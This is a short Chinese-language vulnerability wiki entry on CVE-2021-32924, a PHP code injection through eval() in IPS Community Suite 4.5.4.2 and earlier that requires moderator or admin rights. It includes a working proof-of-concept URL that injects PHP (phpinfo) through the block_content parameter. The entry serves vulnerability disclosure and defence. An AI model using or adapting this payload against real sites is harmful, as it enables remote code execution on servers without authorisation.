Loading
0

CVE-2021-32924 IPS Community Suite 4.5.4.2 PHP代码注入漏洞

免费、自由、人人可编辑的漏洞库

,

简介

IPS Community Suite versions 4.5.4.2及以下版本存在 PHP 代码注入漏洞。 该漏洞的存在是因为IPS\cms\modules\front\pages\_builder::previewBlock()方法允许将任意内容传递给IPS\_Theme::runProcessFunction()方法,该方法将用于调用eval()PHP函数。 这可以被利用来注入和执行任意 PHP 代码。 成功利用此漏洞需要具有管理侧边栏权限的账户(例如版主或管理员)并启用“cms”应用程序。

POC

http://host/ips/index.php?app=cms&module=pages&controller=builder&do=previewBlock&block_plugin=stats&block_template_use_how=copy&block_plugin_app=core&_sending=block_content&block_content=RCE%0ACONTENT;}}phpinfo();die;/*

pwnwiki.com